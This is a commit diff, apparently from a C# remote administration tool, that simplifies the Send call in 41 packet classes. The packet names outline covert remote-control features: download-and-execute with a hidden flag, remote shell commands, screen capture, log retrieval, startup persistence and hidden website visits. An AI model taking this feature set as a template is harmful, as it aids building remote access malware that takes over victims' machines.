Fixed redundant type specification

Fixed redundant type specification for the server's packets.
This commit is contained in:
yankejustin 2015-05-18 21:01:38 -04:00
parent 6c12e0b7ec
commit 3990494d47
41 changed files with 41 additions and 41 deletions

View File

@ -27,7 +27,7 @@ public DesktopResponse(byte[] image, int quality, int monitor)
public void Execute(Client client)
{
client.Send<DesktopResponse>(this);
client.Send(this);
}
}
}

View File

@ -27,7 +27,7 @@ public DirectoryResponse(string[] files, string[] folders, long[] filessize)
public void Execute(Client client)
{
client.Send<DirectoryResponse>(this);
client.Send(this);
}
}
}

View File

@ -40,7 +40,7 @@ public DownloadFileResponse()
public void Execute(Client client)
{
client.Send<DownloadFileResponse>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public DrivesResponse(string[] drives)
public void Execute(Client client)
{
client.Send<DrivesResponse>(this);
client.Send(this);
}
}
}

View File

@ -40,7 +40,7 @@ public GetLogsResponse(string filename, byte[] block, int maxblocks, int current
public void Execute(Client client)
{
client.Send<GetLogsResponse>(this);
client.Send(this);
}
}
}

View File

@ -27,7 +27,7 @@ public GetProcessesResponse(string[] processes, int[] ids, string[] titles)
public void Execute(Client client)
{
client.Send<GetProcessesResponse>(this);
client.Send(this);
}
}
}

View File

@ -20,7 +20,7 @@ public GetStartupItemsResponse(Dictionary<string, int> startupitems)
public void Execute(Client client)
{
client.Send<GetStartupItemsResponse>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public GetSystemInfoResponse(string[] systeminfos)
public void Execute(Client client)
{
client.Send<GetSystemInfoResponse>(this);
client.Send(this);
}
}
}

View File

@ -52,7 +52,7 @@ public Initialize()
public void Execute(Client client)
{
client.Send<Initialize>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public MonitorsResponse(int number)
public void Execute(Client client)
{
client.Send<MonitorsResponse>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public ShellCommandResponse(string output)
public void Execute(Client client)
{
client.Send<ShellCommandResponse>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public Status(string message)
public void Execute(Client client)
{
client.Send<Status>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public UserStatus(string message)
public void Execute(Client client)
{
client.Send<UserStatus>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public Action(int mode)
public void Execute(Client client)
{
client.Send<Action>(this);
client.Send(this);
}
}
}

View File

@ -27,7 +27,7 @@ public AddStartupItem(string name, string path, int type)
public void Execute(Client client)
{
client.Send<AddStartupItem>(this);
client.Send(this);
}
}
}

View File

@ -23,7 +23,7 @@ public Delete(string path, bool isdir)
public void Execute(Client client)
{
client.Send<Delete>(this);
client.Send(this);
}
}
}

View File

@ -23,7 +23,7 @@ public Desktop(int quality, int monitor)
public void Execute(Client client)
{
client.Send<Desktop>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public Directory(string remotepath)
public void Execute(Client client)
{
client.Send<Directory>(this);
client.Send(this);
}
}
}

View File

@ -11,7 +11,7 @@ public Disconnect()
public void Execute(Client client)
{
client.Send<Disconnect>(this);
client.Send(this);
}
}
}

View File

@ -23,7 +23,7 @@ public DownloadAndExecute(string url, bool runhidden)
public void Execute(Client client)
{
client.Send<DownloadAndExecute>(this);
client.Send(this);
}
}
}

View File

@ -23,7 +23,7 @@ public DownloadFile(string remotepath, int id)
public void Execute(Client client)
{
client.Send<DownloadFile>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public DownloadFileCanceled(int id)
public void Execute(Client client)
{
client.Send<DownloadFileCanceled>(this);
client.Send(this);
}
}
}

View File

@ -11,7 +11,7 @@ public Drives()
public void Execute(Client client)
{
client.Send<Drives>(this);
client.Send(this);
}
}
}

View File

@ -9,7 +9,7 @@ public class GetLogs : IPacket
public void Execute(Client client)
{
client.Send<GetLogs>(this);
client.Send(this);
}
}
}

View File

@ -11,7 +11,7 @@ public GetProcesses()
public void Execute(Client client)
{
client.Send<GetProcesses>(this);
client.Send(this);
}
}
}

View File

@ -11,7 +11,7 @@ public GetStartupItems()
public void Execute(Client client)
{
client.Send<GetStartupItems>(this);
client.Send(this);
}
}
}

View File

@ -11,7 +11,7 @@ public GetSystemInfo()
public void Execute(Client client)
{
client.Send<GetSystemInfo>(this);
client.Send(this);
}
}
}

View File

@ -11,7 +11,7 @@ public InitializeCommand()
public void Execute(Client client)
{
client.Send<InitializeCommand>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public KillProcess(int pid)
public void Execute(Client client)
{
client.Send<KillProcess>(this);
client.Send(this);
}
}
}

View File

@ -11,7 +11,7 @@ public Monitors()
public void Execute(Client client)
{
client.Send<Monitors>(this);
client.Send(this);
}
}
}

View File

@ -31,7 +31,7 @@ public MouseClick(bool leftclick, bool doubleclick, int x, int y)
public void Execute(Client client)
{
client.Send<MouseClick>(this);
client.Send(this);
}
}
}

View File

@ -11,7 +11,7 @@ public Reconnect()
public void Execute(Client client)
{
client.Send<Reconnect>(this);
client.Send(this);
}
}
}

View File

@ -27,7 +27,7 @@ public Rename(string path, string newpath, bool isdir)
public void Execute(Client client)
{
client.Send<Rename>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public ShellCommand(string command)
public void Execute(Client client)
{
client.Send<ShellCommand>(this);
client.Send(this);
}
}
}

View File

@ -31,7 +31,7 @@ public ShowMessageBox(string caption, string text, string messageboxbutton, stri
public void Execute(Client client)
{
client.Send<ShowMessageBox>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public StartProcess(string processname)
public void Execute(Client client)
{
client.Send<StartProcess>(this);
client.Send(this);
}
}
}

View File

@ -11,7 +11,7 @@ public Uninstall()
public void Execute(Client client)
{
client.Send<Uninstall>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public Update(string downloadurl)
public void Execute(Client client)
{
client.Send<Update>(this);
client.Send(this);
}
}
}

View File

@ -39,7 +39,7 @@ public UploadAndExecute(int id, string filename, byte[] block, int maxblocks, in
public void Execute(Client client)
{
client.Send<UploadAndExecute>(this);
client.Send(this);
}
}
}

View File

@ -23,7 +23,7 @@ public VisitWebsite(string url, bool hidden)
public void Execute(Client client)
{
client.Send<VisitWebsite>(this);
client.Send(this);
}
}
}

View File

@ -19,7 +19,7 @@ public UnknownPacket(IPacket packet)
public void Execute(Client client)
{
client.Send<UnknownPacket>(this);
client.Send(this);
}
}
}